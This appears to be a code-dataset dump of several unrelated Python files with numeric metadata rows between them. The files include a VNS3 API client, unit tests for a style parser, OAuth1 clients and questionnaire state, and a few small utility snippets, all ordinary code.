header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/ms", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def try_get_keyset(api_client, **kwargs): # noqa: E501 """try_get_keyset # noqa: E501 Wraps get_keyset for unlicensed error. asynchronous HTTP request, please pass async_req=True >>> response = await api.try_get_keyset(async_req=True) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: {} or None """ try: detail = get_keyset(api_client, **kwargs) if detail.response: return detail return None except ApiException as e: if "must be licensed" in e.get_error_message().lower(): return None raise e def wait_for_keyset(api_client, retry_timeout=2.0, timeout=60): """Wait for keyset generation :param VNS3Client api_client: (required) Keyword Arguments: retry_timeout {float} - time to sleep between retries timeout {int} - max time to wait Raises: ApiException Returns: KeysetDetail """ import time start_time = time.time() target_host = api_client.host_uri while time.time() - start_time < timeout: try: keyset_data = get_keyset(api_client) keyset_response = keyset_data.response if ( keyset_response and (not keyset_response.in_progress) and keyset_response.keyset_present ): return keyset_data Logger.debug("Keyset not present. Retrying.", host=target_host) time.sleep(retry_timeout) except ( urllib3.exceptions.ConnectTimeoutError, urllib3.exceptions.NewConnectionError, urllib3.exceptions.MaxRetryError, ): Logger.debug( "API connection error fetching keyset. Retrying.", host=target_host ) time.sleep(retry_timeout) continue raise ApiException(reason="Failed to fetch keyset. Timeout %s seconds." % timeout) class ConfigurationApiRouter(VersionRouter): """Manage and view VNS3 configuration state""" function_library = { "get_config": {"4.8.4-5.1.5": get_config}, "get_keyset": {"4.8.4-5.1.5": get_keyset}, "get_ssl_install_status": {"4.8.4-5.1.5": get_ssl_install_status}, "put_config": {"4.8.4-5.1.5": put_config}, "put_install_ssl_keypair": {"4.8.4-5.1.5": put_install_ssl_keypair}, "put_keyset": {"4.8.4-5.1.5": put_keyset}, "put_update_admin_ui": {"4.8.4-5.1.5": put_update_admin_ui}, "put_update_api_password": {"4.8.4-5.1.5": put_update_api_password}, "put_upload_ssl_keypair": {"4.8.4-5.1.5": put_upload_ssl_keypair}, "get_ssl_certs": {"5.0.0-5.1.5": get_ssl_certs}, "post_send_test_ms_alert": {"4.8.4-5.1.5": post_send_test_ms_alert}, "get_ms_config": {"4.8.4-5.1.5": get_ms_config}, "post_set_ms_config": {"4.8.4-5.1.5": post_set_ms_config}, "update_ms_config": {"4.8.4-5.1.5": update_ms_config}, "try_get_keyset": {"4.8.4-5.1.5": try_get_keyset}, "wait_for_keyset": {"4.8.4-5.1.5": wait_for_keyset}, }
34.768959
159
0.636553
4,675
39,428
5.08877
0.066096
0.038672
0.049433
0.045019
0.842245
0.82871
0.823749
0.812694
0.804035
0.796259
0
0.017541
0.281399
39,428
1,133
160
34.799647
0.822116
0.453003
0
0.77425
0
0
0.133452
0.022077
0
0
0
0
0
1
0.028219
false
0.010582
0.012346
0
0.075838
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
dd60615955762c354a804dcfb497efae46f96c8b
5,383
py
Python
test/styles/test_style_parsing.py
mrz1988/lilies
9525770fabab7e142ebedc40ab5d0c8027aa90ba
[ "MIT" ]
null
null
null
test/styles/test_style_parsing.py
mrz1988/lilies
9525770fabab7e142ebedc40ab5d0c8027aa90ba
[ "MIT" ]
51
2019-06-18T16:35:56.000Z
2021-02-23T00:32:23.000Z
test/styles/test_style_parsing.py
mrz1988/lilies
9525770fabab7e142ebedc40ab5d0c8027aa90ba
[ "MIT" ]
null
null
null
import unittest from lilies.style import Color from lilies.style.palette import get_color from lilies.style.parse import parse_style, InvalidStyleError class TestStyleParsing(unittest.TestCase): def test_parsing_none_returns_default(self): style = parse_style(None) self.assertEqual(Color(), style.fg) self.assertEqual(Color(), style.bg) self.assertEqual([], style.attrs) def test_fails_on_nonstrings(self): with self.assertRaises(InvalidStyleError): parse_style(10) with self.assertRaises(InvalidStyleError): parse_style(["list"]) def test_fails_on_invalid_fgcolor(self): with self.assertRaises(InvalidStyleError): parse_style("invalid") def test_fails_on_invalid_bgcolor(self): with self.assertRaises(InvalidStyleError): parse_style("on invalid") def test_fails_on_invalid_only_attribute(self): with self.assertRaises(InvalidStyleError): parse_style("invalid red") def test_fails_on_invalid_middle_attribute(self): with self.assertRaises(InvalidStyleError): parse_style("bold, invalid red on blue") def test_fails_on_empty_middle_attribute(self): with self.assertRaises(InvalidStyleError): parse_style("bold, ,italic red on blue") def test_can_parse_fg_color(self): style = parse_style("red") self.assertEqual(get_color("red"), style.fg) self.assertEqual(Color(), style.bg) self.assertEqual([], style.attrs) def test_can_parse_bg_color(self): style = parse_style("on lime") self.assertEqual(Color(), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual([], style.attrs) def test_can_parse_single_attr(self): style = parse_style("bold") self.assertEqual(Color(), style.fg) self.assertEqual(Color(), style.bg) self.assertEqual(["bold"], style.attrs) def test_can_parse_multiple_attrs(self): style = parse_style("bold, italic") self.assertEqual(Color(), style.fg) self.assertEqual(Color(), style.bg) self.assertEqual(["bold", "italic"], style.attrs) def test_can_parse_fgbg_color(self): style = parse_style("rosybrown on lime") self.assertEqual(get_color("rosybrown"), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual([], style.attrs) def test_can_parse_fgbgattr(self): style = parse_style("underline rosybrown on lime") self.assertEqual(get_color("rosybrown"), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual(["underline"], style.attrs) def test_can_parse_multi_fgbgattr(self): style = parse_style("blink, underline rosybrown on lime") self.assertEqual(get_color("rosybrown"), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_can_parse_no_fg_color(self): style = parse_style("blink, underline on lime") self.assertEqual(Color(), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_clears_whitespace_in_fgcolors(self): style = parse_style("blink, underline medium violet red on lime") self.assertEqual(get_color("mediumvioletred"), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_works_with_camelcase_fgcolors(self): style = parse_style("blink, underline mediumVioletRed on lime") self.assertEqual(get_color("mediumvioletred"), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_works_with_snakecase_fgcolors(self): style = parse_style("blink, underline medium_violet_red on lime") self.assertEqual(get_color("mediumvioletred"), style.fg) self.assertEqual(get_color("lime"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_clears_whitespace_in_bgcolors(self): style = parse_style("blink, underline lime on medium violet red") self.assertEqual(get_color("lime"), style.fg) self.assertEqual(get_color("mediumvioletred"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_works_with_camelcase_bgcolors(self): style = parse_style("blink, underline lime on mediumVioletRed") self.assertEqual(get_color("lime"), style.fg) self.assertEqual(get_color("mediumvioletred"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_works_with_snakecase_bgcolors(self): style = parse_style("blink, underline lime on medium_violet_red") self.assertEqual(get_color("lime"), style.fg) self.assertEqual(get_color("mediumvioletred"), style.bg) self.assertEqual(["blink", "underline"], style.attrs) def test_can_alias_attrs(self): style = parse_style("underlined, bright red on black") self.assertEqual(get_color("red"), style.fg) self.assertEqual(get_color("black"), style.bg) self.assertEqual(["underline", "bold"], style.attrs)
41.728682
73
0.68159
646
5,383
5.4613
0.106811
0.204082
0.117347
0.149943
0.880102
0.804705
0.735544
0.683957
0.648526
0.614229
0
0.000462
0.195987
5,383
128
74
42.054688
0.814695
0
0
0.47619
0
0
0.150288
0
0
0
0
0
0.52381
1
0.209524
false
0
0.038095
0
0.257143
0
0
0
0
null
1
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
7
dd8ed61ec9ab5acf16165d1723fc36c33f5261af
5,082
py
Python
operators/spin_loop_correlator_test.py
liyang2019/VMC-ISGO
842a8826db75b764fc0e02024094badd6211ca2a
[ "Apache-2.0" ]
7
2019-08-22T19:10:06.000Z
2020-11-24T20:15:37.000Z
operators/spin_loop_correlator_test.py
liyang2019/VMC-ISGO
842a8826db75b764fc0e02024094badd6211ca2a
[ "Apache-2.0" ]
null
null
null
operators/spin_loop_correlator_test.py
liyang2019/VMC-ISGO
842a8826db75b764fc0e02024094badd6211ca2a
[ "Apache-2.0" ]
null
null
null
from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf from operators import spin_loop_correlator class SpinLoopCorrelatorTest(tf.test.TestCase): def test_find_states_value_encoding(self): loop_correlator = spin_loop_correlator.SpinLoopCorrelator(1, 3) states, coeffs = loop_correlator.find_states(np.array([0, 1, 3, 3, 4])) self.assertEqual(states.shape, (1, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[0, 3, 1, 3, 4]])) np.testing.assert_equal(coeffs, 1.0) loop_correlator = spin_loop_correlator.SpinLoopCorrelator(3, 1) states, coeffs = loop_correlator.find_states(np.array([0, 1, 3, 3, 4])) self.assertEqual(states.shape, (1, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[4, 0, 3, 1, 3]])) np.testing.assert_equal(coeffs, 1.0) loop_correlator = spin_loop_correlator.SpinLoopCorrelator(1, 3, add_sign=True) states, coeffs = loop_correlator.find_states(np.array([0, 1, 3, 3, 4])) self.assertEqual(states.shape, (1, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[0, 3, 1, 3, 4]])) np.testing.assert_equal(coeffs, -1.0) loop_correlator = spin_loop_correlator.SpinLoopCorrelator(3, 1, add_sign=True) states, coeffs = loop_correlator.find_states(np.array([0, 1, 3, 3, 4])) self.assertEqual(states.shape, (1, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[4, 0, 3, 1, 3]])) np.testing.assert_equal(coeffs, -1.0) def test_find_states_onehot_encoding(self): loop_correlator = spin_loop_correlator.SpinLoopCorrelator(1, 3) states, coeffs = loop_correlator.find_states(np.array( [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]])) self.assertEqual(states.shape, (1, 5, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[[1, 0, 0, 0, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]]])) np.testing.assert_equal(coeffs, 1.0) loop_correlator = spin_loop_correlator.SpinLoopCorrelator(3, 1) states, coeffs = loop_correlator.find_states(np.array( [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]])) self.assertEqual(states.shape, (1, 5, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[[0, 0, 0, 0, 1], [1, 0, 0, 0, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0]]])) np.testing.assert_equal(coeffs, 1.0) loop_correlator = spin_loop_correlator.SpinLoopCorrelator(1, 3, add_sign=True) states, coeffs = loop_correlator.find_states(np.array( [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]])) self.assertEqual(states.shape, (1, 5, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[[1, 0, 0, 0, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]]])) np.testing.assert_equal(coeffs, -1.0) loop_correlator = spin_loop_correlator.SpinLoopCorrelator(3, 1, add_sign=True) states, coeffs = loop_correlator.find_states(np.array( [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]])) self.assertEqual(states.shape, (1, 5, 5)) self.assertEqual(coeffs.shape, (1,)) np.testing.assert_equal(states, np.array([[[0, 0, 0, 0, 1], [1, 0, 0, 0, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 0, 0, 1, 0]]])) np.testing.assert_equal(coeffs, -1.0) if __name__ == "__main__": tf.test.main()
49.823529
80
0.463007
637
5,082
3.549451
0.072214
0.111455
0.124724
0.116762
0.884564
0.884564
0.884564
0.884564
0.884564
0.884564
0
0.097245
0.392956
5,082
101
81
50.316832
0.635656
0
0
0.873563
0
0
0.001574
0
0
0
0
0
0.367816
1
0.022989
false
0
0.068966
0
0.103448
0.011494
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
06cc916412dc4eaeaba6bea9f76d1ef69a5aacf3
10,008
py
Python
tests/app/questionnaire_state/test_relationship_state_question.py
qateam123/eq
704757952323647d659c49a71975c56406ff4047
[ "MIT" ]
null
null
null
tests/app/questionnaire_state/test_relationship_state_question.py
qateam123/eq
704757952323647d659c49a71975c56406ff4047
[ "MIT" ]
8
2020-03-24T15:24:18.000Z
2022-03-02T04:32:56.000Z
tests/app/questionnaire_state/test_relationship_state_question.py
qateam123/eq
704757952323647d659c49a71975c56406ff4047
[ "MIT" ]
null
null
null
from unittest import TestCase from mock import patch, Mock from app.questionnaire_state.relationship_state_question import RelationshipStateQuestion from app.schema.answer import Answer from app.schema.question import Question from app.schema.widgets.text_widget import TextWidget def create_answer(group_instance=0): answer = Answer('whos-related') answer.widget = TextWidget('whos-related') answer_state = answer.construct_state() answer_state.group_instance = group_instance return answer_state class TestRelationshipStateQuestion(TestCase): household_answers = [ { "answer_id": "first-name", "answer_instance": 0, "value": "John" }, { "answer_id": "first-name", "answer_instance": 1, "value": "Jane" }, { "answer_id": "first-name", "answer_instance": 2, "value": "Joe" } ] last_names = [ { "answer_id": "last-name", "answer_instance": 0, "value": "Doe" }, { "answer_id": "last-name", "answer_instance": 1, "value": "Doe" }, { "answer_id": "last-name", "answer_instance": 2, "value": "Bloggs" } ] def test_should_create_relationship_answers_other_household_members(self): # Given answer_state = create_answer() question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock(return_value=self.household_answers) # When relationship_state_question.update_state({}) # Then self.assertEqual(len(relationship_state_question.answers), 2) def test_relationship_questions_should_reduce_after_each_relationship_answer(self): # Given answer_state = create_answer(group_instance=1) question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock(return_value=self.household_answers) # When relationship_state_question.update_state({}) # Then self.assertEqual(len(relationship_state_question.children), 1) def test_should_not_have_answer_for_last_person(self): # Given answer_state = create_answer(group_instance=2) question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock(return_value=self.household_answers) # When relationship_state_question.update_state({}) # Then self.assertEqual(len(relationship_state_question.children), 0) def test_should_set_all_relationship_answers(self): # Given answer_state = create_answer() question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock(return_value=self.household_answers) # When relationship_state_question.update_state({'whos-related': 'Brother', 'whos-related_1': 'Sister'}) # Then self.assertEqual(len(relationship_state_question.children), 2) self.assertEqual(relationship_state_question.children[0].schema_item.widget.id, 'whos-related') self.assertEqual(relationship_state_question.children[0].value, 'Brother') self.assertEqual(relationship_state_question.children[1].schema_item.widget.id, 'whos-related_1') self.assertEqual(relationship_state_question.children[1].value, 'Sister') def test_should_set_current_person_on_widget(self): # Given answer_state = create_answer(group_instance=1) question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock() get_answer_store().filter.side_effect = [self.household_answers, self.last_names] # When relationship_state_question.update_state({}) # Then self.assertEqual(relationship_state_question.children[0].schema_item.widget.current_person, 'Jane Doe') def test_should_set_other_person_on_widget(self): # Given answer_state = create_answer(group_instance=1) question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock() get_answer_store().filter.side_effect = [self.household_answers, self.last_names] # When relationship_state_question.update_state({}) # Then self.assertEqual(relationship_state_question.children[0].schema_item.widget.other_person, 'Joe Bloggs') def test_should_display_first_name_if_no_surname_provided(self): # Given answer_state = create_answer(group_instance=0) question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] first_names = [ { "answer_id": "first-name", "answer_instance": 0, "value": "John" }, { "answer_id": "first-name", "answer_instance": 1, "value": None }, { "answer_id": "first-name", "answer_instance": 2, "value": 'Joe' } ] last_names = [ { "answer_id": "last-name", "answer_instance": 0, "value": None }, { "answer_id": "last-name", "answer_instance": 1, "value": 'Doe' }, { "answer_id": "last-name", "answer_instance": 2, "value": 'Bloggs' } ] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock() get_answer_store().filter.side_effect = [first_names, last_names] # When relationship_state_question.update_state({}) # Then self.assertEqual(relationship_state_question.children[0].schema_item.widget.current_person, 'John') def test_should_display_surname_if_no_first_name_provided(self): # Given answer_state = create_answer(group_instance=0) question_schema = Question() question_schema.answers = [answer_state.schema_item] relationship_state_question = RelationshipStateQuestion('relationship', question_schema) relationship_state_question.answers = [answer_state] first_names = [ { "answer_id": "first-name", "answer_instance": 0, "value": "John" }, { "answer_id": "first-name", "answer_instance": 1, "value": None }, { "answer_id": "first-name", "answer_instance": 2, "value": 'Joe' } ] last_names = [ { "answer_id": "last-name", "answer_instance": 0, "value": None }, { "answer_id": "last-name", "answer_instance": 1, "value": 'Doe' }, { "answer_id": "last-name", "answer_instance": 2, "value": 'Bloggs' } ] with patch('app.questionnaire_state.relationship_state_question.get_answer_store') as get_answer_store: get_answer_store().filter = Mock() get_answer_store().filter.side_effect = [first_names, last_names] # When relationship_state_question.update_state({}) # Then self.assertEqual(relationship_state_question.children[0].schema_item.widget.other_person, 'Doe')
37.766038
111
0.621003
983
10,008
5.945066
0.085453
0.130903
0.192505
0.041068
0.859343
0.854552
0.839494
0.814339
0.796715
0.796715
0
0.005455
0.285572
10,008
264
112
37.909091
0.811888
0.01269
0
0.598039
0
0
0.153713
0.055195
0
0
0
0
0.058824
1
0.044118
false
0
0.029412
0
0.093137
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7c07d2618950d19b040d01a3a53702769b359088
182
py
Python
python/testData/highlighting/continueOutsideOfLoop.py
tgodzik/intellij-community
f5ef4191fc30b69db945633951fb160c1cfb7b6f
[ "Apache-2.0" ]
2
2019-04-28T07:48:50.000Z
2020-12-11T14:18:08.000Z
python/testData/highlighting/continueOutsideOfLoop.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2022-02-19T09:45:05.000Z
2022-02-27T20:32:55.000Z
python/testData/highlighting/continueOutsideOfLoop.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
for x in [1, 2, 3]: pass else: <error descr="'continue' outside loop">continue</error> while True: pass else: <error descr="'continue' outside loop">continue</error>
20.222222
59
0.648352
26
182
4.538462
0.576923
0.135593
0.220339
0.305085
0.847458
0.847458
0.847458
0.847458
0.847458
0
0
0.020548
0.197802
182
9
60
20.222222
0.787671
0
0
0.75
0
0
0.251366
0
0
0
0
0
0
0
null
null
0.25
0
null
null
0
1
0
0
null
0
1
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
12
9fd89a39cecc01bcfb1c901093d8d538d8824f03
132
py
Python
netmiko/siemens/__init__.py
lscarmic/netmiko
35966220e293ad300b84a1c4bdd5899527292188
[ "MIT" ]
null
null
null
netmiko/siemens/__init__.py
lscarmic/netmiko
35966220e293ad300b84a1c4bdd5899527292188
[ "MIT" ]
null
null
null
netmiko/siemens/__init__.py
lscarmic/netmiko
35966220e293ad300b84a1c4bdd5899527292188
[ "MIT" ]
null
null
null
from netmiko.siemens.siemens_ros import ROSSSH from netmiko.siemens.siemens_ros import ROSTelnet __all__ = ["ROSSSH", "ROSTelnet"]
26.4
49
0.810606
17
132
5.941176
0.470588
0.217822
0.356436
0.49505
0.673267
0.673267
0
0
0
0
0
0
0.098485
132
4
50
33
0.84874
0
0
0
0
0
0.113636
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
b0280eed890d653b2c8aa4ed86fbe41fb63797cb
350
py
Python
exercise108.py
AlissonRaphael/python_exercises
3f1185c4f2fff24c9fa2ffd6b60f90599044c985
[ "MIT" ]
null
null
null
exercise108.py
AlissonRaphael/python_exercises
3f1185c4f2fff24c9fa2ffd6b60f90599044c985
[ "MIT" ]
null
null
null
exercise108.py
AlissonRaphael/python_exercises
3f1185c4f2fff24c9fa2ffd6b60f90599044c985
[ "MIT" ]
null
null
null
from exercise107_modulos import moeda preco = float(input('Digite o preço: R$ ')) print(f'A metade de {moeda.cifrao(preco)} é {moeda.cifrao(moeda.metade(preco))}.') print(f'O dobro de {moeda.cifrao(preco)} é {moeda.cifrao(moeda.dobro(preco))}.') print(f'Aumentando 10% de {moeda.cifrao(preco)}, temos {moeda.cifrao(moeda.porcentagem(preco, 10))}.')
50
102
0.722857
55
350
4.581818
0.436364
0.261905
0.154762
0.214286
0.277778
0.277778
0.277778
0.277778
0
0
0
0.021944
0.088571
350
6
103
58.333333
0.768025
0
0
0
0
0.6
0.722857
0.494286
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.6
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7
c668a10e06498c1cdaacc7678c64acd4bdf95be7
5,350
py
Python
tests/py3/test_httpx_client/test_oauth1_client.py
timgates42/authlib
24cddc09b82a908d6f8ec8fa0331114ce9e2cc66
[ "BSD-3-Clause" ]
null
null
null
tests/py3/test_httpx_client/test_oauth1_client.py
timgates42/authlib
24cddc09b82a908d6f8ec8fa0331114ce9e2cc66
[ "BSD-3-Clause" ]
null
null
null
tests/py3/test_httpx_client/test_oauth1_client.py
timgates42/authlib
24cddc09b82a908d6f8ec8fa0331114ce9e2cc66
[ "BSD-3-Clause" ]
null
null
null
from unittest import TestCase from authlib.integrations.httpx_client import ( OAuthError, OAuth1Client, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, ) from tests.py3.utils import MockDispatch class OAuth1ClientTest(TestCase): oauth_url = 'https://example.com/oauth' def test_fetch_request_token_via_header(self): request_token = {'oauth_token': '1', 'oauth_token_secret': '2'} def assert_func(request): auth_header = request.headers.get('authorization') self.assertIn('oauth_consumer_key="id"', auth_header) self.assertIn('oauth_signature=', auth_header) mock_response = MockDispatch(request_token, assert_func=assert_func) with OAuth1Client('id', 'secret', dispatch=mock_response) as client: response = client.fetch_request_token(self.oauth_url) self.assertEqual(response, request_token) def test_fetch_request_token_via_body(self): request_token = {'oauth_token': '1', 'oauth_token_secret': '2'} def assert_func(request): auth_header = request.headers.get('authorization') self.assertIsNone(auth_header) self.assertIn(b'oauth_consumer_key=id', request.content) self.assertIn(b'&oauth_signature=', request.content) mock_response = MockDispatch(request_token, assert_func=assert_func) with OAuth1Client( 'id', 'secret', signature_type=SIGNATURE_TYPE_BODY, dispatch=mock_response, ) as client: response = client.fetch_request_token(self.oauth_url) self.assertEqual(response, request_token) def test_fetch_request_token_via_query(self): request_token = {'oauth_token': '1', 'oauth_token_secret': '2'} def assert_func(request): auth_header = request.headers.get('authorization') self.assertIsNone(auth_header) url = str(request.url) self.assertIn('oauth_consumer_key=id', url) self.assertIn('&oauth_signature=', url) mock_response = MockDispatch(request_token, assert_func=assert_func) with OAuth1Client( 'id', 'secret', signature_type=SIGNATURE_TYPE_QUERY, dispatch=mock_response, ) as client: response = client.fetch_request_token(self.oauth_url) self.assertEqual(response, request_token) def test_fetch_access_token(self): request_token = {'oauth_token': '1', 'oauth_token_secret': '2'} def assert_func(request): auth_header = request.headers.get('authorization') self.assertIn('oauth_verifier="d"', auth_header) self.assertIn('oauth_token="foo"', auth_header) self.assertIn('oauth_consumer_key="id"', auth_header) self.assertIn('oauth_signature=', auth_header) mock_response = MockDispatch(request_token, assert_func=assert_func) with OAuth1Client( 'id', 'secret', token='foo', token_secret='bar', dispatch=mock_response, ) as client: self.assertRaises( OAuthError, client.fetch_access_token, self.oauth_url ) response = client.fetch_access_token(self.oauth_url, verifier='d') self.assertEqual(response, request_token) def test_get_via_header(self): mock_response = MockDispatch(b'hello') with OAuth1Client( 'id', 'secret', token='foo', token_secret='bar', dispatch=mock_response, ) as client: response = client.get('https://example.com/') self.assertEqual(b'hello', response.content) request = response.request auth_header = request.headers.get('authorization') self.assertIn('oauth_token="foo"', auth_header) self.assertIn('oauth_consumer_key="id"', auth_header) self.assertIn('oauth_signature=', auth_header) def test_get_via_body(self): mock_response = MockDispatch(b'hello') with OAuth1Client( 'id', 'secret', token='foo', token_secret='bar', signature_type=SIGNATURE_TYPE_BODY, dispatch=mock_response, ) as client: response = client.post('https://example.com/') self.assertEqual(b'hello', response.content) request = response.request auth_header = request.headers.get('authorization') self.assertIsNone(auth_header) self.assertIn(b'oauth_token=foo', request.content) self.assertIn(b'oauth_consumer_key=id', request.content) self.assertIn(b'oauth_signature=', request.content) def test_get_via_query(self): mock_response = MockDispatch(b'hello') with OAuth1Client( 'id', 'secret', token='foo', token_secret='bar', signature_type=SIGNATURE_TYPE_QUERY, dispatch=mock_response, ) as client: response = client.get('https://example.com/') self.assertEqual(b'hello', response.content) request = response.request auth_header = request.headers.get('authorization') self.assertIsNone(auth_header) url = str(request.url) self.assertIn('oauth_token=foo', url) self.assertIn('oauth_consumer_key=id', url) self.assertIn('oauth_signature=', url)
37.412587
78
0.648411
595
5,350
5.561345
0.107563
0.060441
0.071925
0.053188
0.893623
0.888184
0.875793
0.842551
0.842551
0.842551
0
0.004436
0.241495
5,350
142
79
37.676056
0.810991
0
0
0.705357
0
0
0.142056
0.028598
0
0
0
0
0.348214
1
0.098214
false
0
0.026786
0
0.142857
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c6dc763e6d509414606cb22217f7cd0b68b95252
156
py
Python
webup/session.py
cariad/webup
29f636ffd50a605c2dc11d82d17cfcb6ce961f8c
[ "MIT" ]
null
null
null
webup/session.py
cariad/webup
29f636ffd50a605c2dc11d82d17cfcb6ce961f8c
[ "MIT" ]
5
2021-12-24T17:40:35.000Z
2022-01-19T14:16:50.000Z
webup/session.py
cariad/webup
29f636ffd50a605c2dc11d82d17cfcb6ce961f8c
[ "MIT" ]
null
null
null
from boto3.session import Session def make_session(region: str | None = None) -> Session: return Session(region_name=region) if region else Session()
26
63
0.75
22
156
5.227273
0.590909
0.226087
0
0
0
0
0
0
0
0
0
0.007634
0.160256
156
5
64
31.2
0.870229
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7
05e211532bc906d2ffed56e82849171e20a938e6
13,175
py
Python
signalwire/tests/relay/calling/test_actions.py
ramarketing/signalwire-python
c0663bdd0454faaa39f42af7c936cea1d43e1842
[ "MIT" ]
23
